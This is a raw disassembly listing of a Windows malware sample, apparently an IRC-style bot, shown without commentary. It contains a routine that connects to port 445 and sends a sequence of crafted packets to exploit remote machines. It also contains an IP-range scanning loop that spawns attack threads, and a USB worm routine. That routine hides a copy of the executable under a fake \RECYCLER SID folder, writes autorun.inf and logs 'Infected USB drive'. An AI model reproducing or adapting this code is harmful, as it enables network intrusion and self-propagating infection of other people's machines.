pop ecx
mov edi, esp
push [ebp+var_14C]
rep movsd
push eax
call sub_403B6C
add esp, 0CCh
test eax, eax
jz short loc_406F8F
xor esi, esi
xor eax, eax
cmp [ebp+var_20], esi
mov [ebp+var_164], eax
jnz short loc_406F62
cmp [ebp+var_28], esi
jnz short loc_406F67
lea eax, [ebp+var_210]
push eax
push offset dword_43A357
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD84
mov eax, [ebp+var_164]
add esp, 18h
loc_406F62: ; CODE XREF: sub_406D50+1E1j
cmp [ebp+var_28], esi
jz short loc_406F8F
loc_406F67: ; CODE XREF: sub_406D50+1E6j
shl eax, 6
lea ecx, [ebp+var_210]
add eax, offset dword_43A357
push ecx
push eax
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_406F8F: ; CODE XREF: sub_406D50+1D2j
; sub_406D50+215j
sub esp, 0C4h
lea esi, [ebp+var_210]
lea eax, [ebp+var_144]
push 31h
pop ecx
mov edi, esp
push [ebp+var_14C]
rep movsd
push eax
call sub_404105
add esp, 0CCh
test eax, eax
jz loc_407238
push 2
xor esi, esi
cmp [ebp+var_20], esi
pop eax
mov [ebp+var_164], eax
jnz loc_40720B
cmp [ebp+var_28], esi
jnz loc_407210
lea eax, [ebp+var_210]
push eax
push offset byte_43A3D7
jmp loc_4071ED
; ---------------------------------------------------------------------------
loc_406FF0: ; CODE XREF: sub_406D50+19Fj
cmp eax, 8Bh
jnz loc_4070F7
sub esp, 0C4h
lea esi, [ebp+var_210]
lea eax, [ebp+var_144]
push 31h
pop ecx
mov edi, esp
push [ebp+var_14C]
rep movsd
push eax
call sub_4066B3
add esp, 0CCh
test eax, eax
jz short loc_407096
push 4
xor esi, esi
cmp [ebp+var_20], esi
pop eax
mov [ebp+var_164], eax
jnz short loc_407069
cmp [ebp+var_28], esi
jnz short loc_40706E
lea eax, [ebp+var_210]
push eax
push offset byte_43A457
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD84
mov eax, [ebp+var_164]
add esp, 18h
loc_407069: ; CODE XREF: sub_406D50+2E8j
cmp [ebp+var_28], esi
jz short loc_407096
loc_40706E: ; CODE XREF: sub_406D50+2EDj
shl eax, 6
lea ecx, [ebp+var_210]
add eax, offset dword_43A357
push ecx
push eax
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_407096: ; CODE XREF: sub_406D50+2D8j
; sub_406D50+31Cj
sub esp, 0C4h
lea esi, [ebp+var_210]
lea eax, [ebp+var_144]
push 31h
pop ecx
mov edi, esp
push [ebp+var_14C]
rep movsd
push eax
call sub_405990
add esp, 0CCh
test eax, eax
jz loc_407238
push 6
xor esi, esi
cmp [ebp+var_20], esi
pop eax
mov [ebp+var_164], eax
jnz loc_40720B
cmp [ebp+var_28], esi
jnz loc_407210
lea eax, [ebp+var_210]
push eax
push offset byte_43A4D7
jmp loc_4071ED
; ---------------------------------------------------------------------------
loc_4070F7: ; CODE XREF: sub_406D50+2A5j
cmp eax, 1BDh
jnz loc_407238
sub esp, 0C4h
lea esi, [ebp+var_210]
lea eax, [ebp+var_144]
push 31h
pop ecx
mov edi, esp
push [ebp+var_14C]
rep movsd
push eax
call sub_407373
add esp, 0CCh
test eax, eax
jz short loc_40719D
push 0Ah
xor esi, esi
cmp [ebp+var_20], esi
pop eax
mov [ebp+var_164], eax
jnz short loc_407170
cmp [ebp+var_28], esi
jnz short loc_407175
lea eax, [ebp+var_210]
push eax
push offset off_43A5D7
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD84
mov eax, [ebp+var_164]
add esp, 18h
loc_407170: ; CODE XREF: sub_406D50+3EFj
cmp [ebp+var_28], esi
jz short loc_40719D
loc_407175: ; CODE XREF: sub_406D50+3F4j
shl eax, 6
lea ecx, [ebp+var_210]
add eax, offset dword_43A357
push ecx
push eax
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_40719D: ; CODE XREF: sub_406D50+3DFj
; sub_406D50+423j
sub esp, 0C4h
lea esi, [ebp+var_210]
lea eax, [ebp+var_144]
push 31h
pop ecx
mov edi, esp
push [ebp+var_14C]
rep movsd
push eax
call sub_406391
add esp, 0CCh
test eax, eax
jz short loc_407238
push 3
xor esi, esi
cmp [ebp+var_20], esi
pop eax
mov [ebp+var_164], eax
jnz short loc_40720B
cmp [ebp+var_28], esi
jnz short loc_407210
lea eax, [ebp+var_210]
push eax
push offset byte_43A417
loc_4071ED: ; CODE XREF: sub_406D50+29Bj
; sub_406D50+3A2j
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD84
mov eax, [ebp+var_164]
add esp, 18h
loc_40720B: ; CODE XREF: sub_406D50+280j
; sub_406D50+387j ...
cmp [ebp+var_28], esi
jz short loc_407238
loc_407210: ; CODE XREF: sub_406D50+289j
; sub_406D50+390j ...
shl eax, 6
lea ecx, [ebp+var_210]
add eax, offset dword_43A357
push ecx
push eax
push ebx
lea eax, [ebp+var_144]
push offset aSSIpS ; "%s (%s) -> IP: (%s)"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_407238: ; CODE XREF: sub_406D50+A2j
; sub_406D50+C7j ...
push 64h
call dword_43718C ; Sleep
push [ebp+var_4]
call dword_456FD0 ; closesocket
loc_407249: ; CODE XREF: sub_406D50+80j
; sub_406D50+99j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_406D50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407252 proc near ; DATA XREF: sub_40A938+665Ao
var_1C0 = byte ptr -1C0h
var_140 = dword ptr -140h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1C0h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 4Eh
mov esi, ebx
pop ecx
lea edi, [ebp+var_140]
rep movsd
push [ebp+var_140]
lea esi, [ebp+var_140]
mov dword ptr [ebx+130h], 1
sub esp, 138h
push 4Eh
pop ecx
mov edi, esp
rep movsd
call sub_406C3A
mov esi, dword_43718C
add esp, 13Ch
mov edi, offset aKbwmi16jfhl ; "KbwMi16jFhl/"
loc_4072A7: ; CODE XREF: sub_407252+11Cj
push [ebp+var_38]
push edi
push [ebp+var_24]
call dword_456FBC ; inet_ntoa
push eax
push offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
push edi
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
lea eax, [ebp+var_1C0]
push offset aSSSSStartSD ; "%s %s%s: (%s), Start%s: (%d)"
push eax
call sub_429A33
lea eax, [ebp+var_1C0]
push 270Fh
push eax
mov eax, [ebp+var_2C]
imul eax, 2724h
add eax, offset dword_46AFF0
push eax
call sub_429C40
add esp, 2Ch
lea eax, [ebp+var_8]
lea ecx, [ebp+var_140]
push eax
xor eax, eax
push eax
push ecx
push offset sub_406D50
push eax
push eax
call dword_43717C ; CreateThread
mov [ebp+var_4], eax
loc_407312: ; CODE XREF: sub_407252+CAj
cmp [ebp+var_C], 1
jz short loc_40731E
push 32h
call esi ; dword_43718C
jmp short loc_407312
; ---------------------------------------------------------------------------
loc_40731E: ; CODE XREF: sub_407252+C4j
push [ebp+var_4]
call dword_437044 ; CloseHandle
push [ebp+var_34]
and dword ptr [ebx+134h], 0
call esi ; dword_43718C
lea eax, [ebp+var_24]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_429350
add esp, 0Ch
push [ebp+arg_0]
call dword_456E08 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_456F14 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_24]
push eax
call sub_429350
add esp, 0Ch
jmp loc_4072A7
sub_407252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407373 proc near ; CODE XREF: sub_406D50+3D2p
var_11B4 = byte ptr -11B4h
var_1024 = byte ptr -1024h
var_101B = byte ptr -101Bh
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFA = dword ptr -0FFAh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_429A90
push ebx
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
push 2
call dword_4372B4
test eax, eax
jnz loc_407974
lea eax, [ebp+arg_8]
push 5
push eax
call sub_4044F6
pop ecx
cmp eax, 3
pop ecx
mov [ebp+var_4], eax
jnz short loc_4073D7
lea eax, [ebp+arg_8]
push 6
push eax
call sub_4044F6
xor ebx, ebx
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_4073D9
lea eax, [ebp+arg_8]
push 5
push eax
call sub_4044F6
pop ecx
mov [ebp+var_4], eax
pop ecx
jmp short loc_4073D9
; ---------------------------------------------------------------------------
loc_4073D7: ; CODE XREF: sub_407373+3Aj
xor ebx, ebx
loc_4073D9: ; CODE XREF: sub_407373+50j
; sub_407373+62j
push 6
push 1
push 2
call dword_456FB0 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_407974
lea eax, [ebp+arg_8]
mov [ebp+var_24], 2
push eax
call dword_456F5C ; inet_addr
push 1BDh
mov [ebp+var_20], eax
call dword_456F18 ; ntohs
mov [ebp+var_22], ax
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
push 89h
push offset dword_43E2C0
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
mov esi, 1000h
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 1
jl loc_40796D
push ebx
push 0BDh
push offset dword_43E350
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
mov eax, [ebp+var_1004]
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_43E430
call sub_429350
add esp, 0Ch
push ebx
push 111h
push offset dword_43E410
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
push ebx
push 6Fh
push offset dword_43E528
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
mov eax, [ebp+var_1004]
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_43E5B8
call sub_429350
add esp, 0Ch
push ebx
push 3Bh
push offset dword_43E598
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
cmp [ebp+var_101B], 0
jnz loc_40796D
mov eax, [ebp+var_1008]
push 2
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push offset dword_43E5F4
call sub_429350
lea eax, [ebp+var_8]
push 2
push eax
push offset dword_43E5F8
call sub_429350
add esp, 18h
push ebx
push 6Ah
push offset dword_43E5D8
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
cmp [ebp+var_101B], 0
jnz loc_40796D
mov eax, [ebp+var_FFA]
push 2
mov [ebp+var_14], eax
lea eax, [ebp+var_10]
push eax
push offset dword_43E664
call sub_429350
lea eax, [ebp+var_8]
push 2
push eax
push offset dword_43E668
call sub_429350
lea eax, [ebp+var_14]
push 2
push eax
push offset byte_43E671
call sub_429350
add esp, 24h
push ebx
push 243h
push offset dword_43E648
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
cmp [ebp+var_101B], 0
jnz loc_40796D
lea eax, [ebp+var_10]
push 2
push eax
push offset dword_43E8AC
call sub_429350
lea eax, [ebp+var_8]
push 2
push eax
push offset dword_43E8B0
call sub_429350
lea eax, [ebp+var_14]
push 2
push eax
push offset byte_43E8B9
call sub_429350
add esp, 24h
push ebx
push 3Fh
push offset dword_43E890
push edi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_40796D
push ebx
lea eax, [ebp+var_1024]
push esi
push eax
push edi
call dword_456F38 ; recv
cmp eax, 0Ah
jle loc_40796D
cmp [ebp+var_101B], 0
jnz loc_40796D
lea eax, [ebp+var_10]
push 2
push eax
push offset dword_43E8EC
call sub_429350
lea eax, [ebp+var_8]
push 2
push eax
push offset dword_43E8F0
call sub_429350
lea eax, [ebp+var_14]
push 2
push eax
push offset byte_43E8F9
call sub_429350
push dword_43EC60
push offset dword_43A8E8
push offset byte_43E9E1
call sub_429350
add esp, 30h
cmp [ebp+var_4], 2
mov ebx, offset byte_43EB61
mov edi, offset byte_43EB65
mov esi, offset byte_43EB6D
jnz short loc_407752
push 4
push offset dword_43EBDC
push ebx
call sub_429350
push 4
push offset dword_43EBD8
push edi
call sub_429350
push 4
push offset dword_43EBD4
push esi
call sub_429350
add esp, 24h
loc_407752: ; CODE XREF: sub_407373+3B3j
cmp [ebp+var_4], 3
jnz short loc_407782
push 4
push offset dword_43EBEC
push ebx
call sub_429350
push 4
push offset dword_43EBE8
push edi
call sub_429350
push 4
push offset dword_43EBE4
push esi
call sub_429350
add esp, 24h
loc_407782: ; CODE XREF: sub_407373+3E3j
cmp [ebp+var_4], 4
jnz short loc_4077B2
push 4
push offset dword_43EBFC
push ebx
call sub_429350
push 4
push offset dword_43EBF8
push edi
call sub_429350
push 4
push offset dword_43EBF4
push esi
call sub_429350
add esp, 24h
loc_4077B2: ; CODE XREF: sub_407373+413j
cmp [ebp+var_4], 5
jnz short loc_4077E2
push 4
push offset dword_43EC0C
push ebx
call sub_429350
push 4
push offset dword_43EC08
push edi
call sub_429350
push 4
push offset dword_43EC04
push esi
call sub_429350
add esp, 24h
loc_4077E2: ; CODE XREF: sub_407373+443j
cmp [ebp+var_4], 6
jnz short loc_407812
push 4
push offset dword_43EC1C
push ebx
call sub_429350
push 4
push offset dword_43EC18
push edi
call sub_429350
push 4
push offset dword_43EC14
push esi
call sub_429350
add esp, 24h
loc_407812: ; CODE XREF: sub_407373+473j
cmp [ebp+var_4], 7
jnz short loc_407842
push 4
push offset dword_43EC2C
push ebx
call sub_429350
push 4
push offset dword_43EC28
push edi
call sub_429350
push 4
push offset dword_43EC24
push esi
call sub_429350
add esp, 24h
loc_407842: ; CODE XREF: sub_407373+4A3j
cmp [ebp+var_4], 8
jnz short loc_407872
push 4
push offset dword_43EC3C
push ebx
call sub_429350
push 4
push offset dword_43EC38
push edi
call sub_429350
push 4
push offset dword_43EC34
push esi
call sub_429350
add esp, 24h
loc_407872: ; CODE XREF: sub_407373+4D3j
xor ebx, ebx
push ebx
push 2FFh
push offset dword_43E8D0
push [ebp+var_C]
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz loc_407968
movzx eax, word_443986
push eax
lea esi, [ebp+arg_8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz short loc_407935
mov edx, [ebp+arg_B4]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+arg_C4], ebx
mov ecx, [ecx]
jz short loc_407909
cmp [ebp+arg_BC], ebx
jnz short loc_407911
push ecx
lea ecx, [ebp+arg_8]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
mov edx, [ebp+arg_B4]
add esp, 1Ch
loc_407909: ; CODE XREF: sub_407373+56Aj
cmp [ebp+arg_BC], ebx
jz short loc_407935
loc_407911: ; CODE XREF: sub_407373+572j
shl edx, 6
lea eax, [ebp+arg_8]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
loc_407935: ; CODE XREF: sub_407373+543j
; sub_407373+59Cj
push ebx
lea eax, [ebp+var_1024]
push 1000h
push eax
push [ebp+var_C]
call dword_456F38 ; recv
cmp eax, 0Ah
jle short loc_407968
cmp [ebp+var_101B], 0
jnz short loc_407968
lea eax, [ebp+arg_8]
push eax
call sub_401E8E
xor eax, eax
pop ecx
inc eax
jmp short loc_407976
; ---------------------------------------------------------------------------
loc_407968: ; CODE XREF: sub_407373+518j
; sub_407373+5DBj ...
push [ebp+var_C]
jmp short loc_40796E
; ---------------------------------------------------------------------------
loc_40796D: ; CODE XREF: sub_407373+B2j
; sub_407373+CDj ...
push edi
loc_40796E: ; CODE XREF: sub_407373+5F8j
call dword_456FD0 ; closesocket
loc_407974: ; CODE XREF: sub_407373+21j
; sub_407373+7Aj
xor eax, eax
loc_407976: ; CODE XREF: sub_407373+5F3j
pop edi
pop esi
pop ebx
leave
retn
sub_407373 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40797B proc near ; CODE XREF: sub_407E1C+A9p
var_502C = byte ptr -502Ch
var_502B = byte ptr -502Bh
var_291C = byte ptr -291Ch
var_291B = byte ptr -291Bh
var_20C = byte ptr -20Ch
var_108 = byte ptr -108h
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 502Ch
call sub_429A90
and [ebp+var_291C], 0
push ebx
push esi
mov edx, 9C3h
push edi
mov ecx, edx
xor eax, eax
lea edi, [ebp+var_291B]
rep stosd
and [ebp+var_502C], 0
mov ecx, edx
stosw
stosb
xor eax, eax
lea edi, [ebp+var_502B]
rep stosd
stosw
push 1
stosb
call dword_456FE4 ; SetErrorMode
push 2
call dword_456FE4 ; SetErrorMode
push 8000h
call dword_456FE4 ; SetErrorMode
push [ebp+arg_0]
mov esi, dword_437090
lea eax, [ebp+var_291C]
push eax
call esi ; dword_437090
lea eax, [ebp+var_291C]
push offset aRecycler ; "\\RECYCLER"
push eax
call esi ; dword_437090
lea eax, [ebp+var_291C]
push 0
push eax
call dword_43708C ; CreateDirectoryA
test eax, eax
jnz short loc_407A10
call dword_43716C ; RtlGetLastWin32Error
loc_407A10: ; CODE XREF: sub_40797B+8Dj
mov ebx, dword_437068
lea eax, [ebp+var_291C]
push 7
push eax
call ebx ; dword_437068
call sub_429ACC
push 9
pop edi
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
lea eax, [ebp+var_20C]
push edx
push offset aSDDDDDDDDDDDDD ; "\\S-%d-%d-%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d"...
push 104h
push eax
call sub_429AEE
add esp, 0A0h
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_291C]
push eax
call esi ; dword_437090
lea eax, [ebp+var_291C]
push 0
push eax
call dword_43708C ; CreateDirectoryA
test eax, eax
jnz short loc_407C00
call dword_43716C ; RtlGetLastWin32Error
loc_407C00: ; CODE XREF: sub_40797B+27Dj
lea eax, [ebp+var_291C]
push 7
push eax
call ebx ; dword_437068
lea eax, [ebp+var_291C]
push offset aDesktop_ini ; "\\Desktop.ini"
push eax
call esi ; dword_437090
xor eax, eax
push eax
push 6
push 2
push eax
push eax
lea eax, [ebp+var_291C]
push 40000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 1
mov [ebp+var_4], eax
jb loc_407DE2
lea ecx, [ebp+var_8]
push 0
push ecx
push 3Fh
push offset a_shellclassinf ; "[.ShellClassInfo]\r\nCLSID={645FF040-5081"...
push eax
call dword_437078 ; WriteFile
test eax, eax
jnz short loc_407C62
mov edi, [ebp+var_4]
xor esi, esi
jmp loc_407E0E
; ---------------------------------------------------------------------------
loc_407C62: ; CODE XREF: sub_40797B+2DBj
push [ebp+var_4]
call dword_437044 ; CloseHandle
lea eax, [ebp+var_291C]
push eax
call dword_437088 ; lstrlenA
lea eax, [ebp+eax+var_291C]
jmp short loc_407C82
; ---------------------------------------------------------------------------
loc_407C81: ; CODE XREF: sub_40797B+30Aj
dec eax
loc_407C82: ; CODE XREF: sub_40797B+304j
cmp byte ptr [eax], 5Ch
jnz short loc_407C81
and byte ptr [eax+1], 0
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
idiv edi
lea eax, [ebp+var_108]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push 100h
push eax
call sub_429AEE
add esp, 24h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_291C]
push eax
call esi ; dword_437090
lea eax, [ebp+var_502C]
push 270Fh
push eax
push 0
call dword_437178 ; GetModuleFileNameA
lea eax, [ebp+var_291C]
push 1
push eax
lea eax, [ebp+var_502C]
push eax
call dword_437064 ; CopyFileA
mov [ebp+var_4], eax
lea eax, [ebp+var_291C]
push 7
push eax
call ebx ; dword_437068
mov ecx, 9C4h
xor eax, eax
cmp [ebp+var_291C], 5Ch
lea edi, [ebp+var_502C]
rep stosd
lea edi, [ebp+var_291C]
jz short loc_407D4A
loc_407D44: ; CODE XREF: sub_40797B+3CDj
inc edi
cmp byte ptr [edi], 5Ch
jnz short loc_407D44
loc_407D4A: ; CODE XREF: sub_40797B+3C7j
lea eax, [ebp+var_502C]
push offset aAutorunOpen ; "[autorun]\r\nopen="
push eax
inc edi
call esi ; dword_437090
lea eax, [ebp+var_502C]
push edi
push eax
call esi ; dword_437090
lea eax, [ebp+var_502C]
push offset aIconSystemroot ; "\r\nicon=%SystemRoot%\\system32\\SHELL32.dl"...
push eax
call esi ; dword_437090
lea eax, [ebp+var_502C]
push edi
push eax
call esi ; dword_437090
lea eax, [ebp+var_502C]
push offset aShellOpenDefau ; "\r\nshell\\open\\default=1"
push eax
call esi ; dword_437090
push [ebp+arg_0]
mov ecx, 9C4h
xor eax, eax
lea edi, [ebp+var_291C]
rep stosd
lea eax, [ebp+var_291C]
push eax
call esi ; dword_437090
lea eax, [ebp+var_291C]
push offset dword_43EC64
push eax
call esi ; dword_437090
lea eax, [ebp+var_291C]
push 80h
push eax
call ebx ; dword_437068
xor esi, esi
lea eax, [ebp+var_291C]
push esi
push 7
push 2
push esi
push esi
push 40000000h
push eax
call dword_43705C ; CreateFileA
mov edi, eax
cmp edi, 1
jnb short loc_407DE6
loc_407DE2: ; CODE XREF: sub_40797B+2BFj
xor eax, eax
jmp short loc_407E17
; ---------------------------------------------------------------------------
loc_407DE6: ; CODE XREF: sub_40797B+465j
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_502C]
push eax
call dword_437088 ; lstrlenA
push eax
lea eax, [ebp+var_502C]
push eax
push edi
call dword_437078 ; WriteFile
test eax, eax
jz short loc_407E0E
mov esi, [ebp+var_4]
loc_407E0E: ; CODE XREF: sub_40797B+2E2j
; sub_40797B+48Ej
push edi
call dword_437044 ; CloseHandle
mov eax, esi
loc_407E17: ; CODE XREF: sub_40797B+469j
pop edi
pop esi
pop ebx
leave
retn
sub_40797B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E1C proc near ; DATA XREF: sub_40A938+6731o
var_27D8 = byte ptr -27D8h
var_27D7 = byte ptr -27D7h
var_C8 = dword ptr -0C8h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 27D8h
call sub_429A90
mov eax, [ebp+arg_0]
push esi
push edi
and [ebp+var_27D8], 0
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov dword ptr [eax+0BCh], 1
mov ecx, 9C3h
xor eax, eax
lea edi, [ebp+var_27D7]
rep stosd
stosw
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], 20h
stosb
lea eax, [ebp+var_27D8]
mov byte ptr [ebp+arg_0+1], 3Ah
push eax
push 270Fh
call dword_437098 ; GetLogicalDriveStringsA
test eax, eax
jz loc_407F1D
lea ecx, [ebp+var_27D8]
push ebx
mov [ebp+var_4], ecx
mov ebx, offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
mov edi, offset aSInfectedUsbDr ; "%s Infected USB drive: %s"
mov esi, offset dword_443EFC
loc_407E9D: ; CODE XREF: sub_407E1C+FEj
mov al, [ecx]
cmp al, 41h
mov byte ptr [ebp+arg_0], al
jz short loc_407F0E
cmp al, 42h
jz short loc_407F0E
cmp al, 61h
jz short loc_407F0E
cmp al, 62h
jz short loc_407F0E
lea eax, [ebp+arg_0]
push eax
call dword_437094 ; GetDriveTypeA
cmp eax, 2
jnz short loc_407F0B
lea eax, [ebp+arg_0]
push eax
call sub_40797B
test eax, eax
pop ecx
jz short loc_407F0B
cmp [ebp+var_18], 0
jz short loc_407EF0
cmp [ebp+var_10], 0
jnz short loc_407EF6
lea eax, [ebp+arg_0]
push eax
push ebx
push edi
push esi
push [ebp+var_C8]
call sub_41CD84
add esp, 14h
loc_407EF0: ; CODE XREF: sub_407E1C+B7j
cmp [ebp+var_10], 0
jz short loc_407F0B
loc_407EF6: ; CODE XREF: sub_407E1C+BDj
lea eax, [ebp+arg_0]
push eax
push ebx
push edi
push esi
push [ebp+var_C8]
call sub_41CD0E
add esp, 14h
loc_407F0B: ; CODE XREF: sub_407E1C+A3j
; sub_407E1C+B1j ...
mov ecx, [ebp+var_4]
loc_407F0E: ; CODE XREF: sub_407E1C+88j
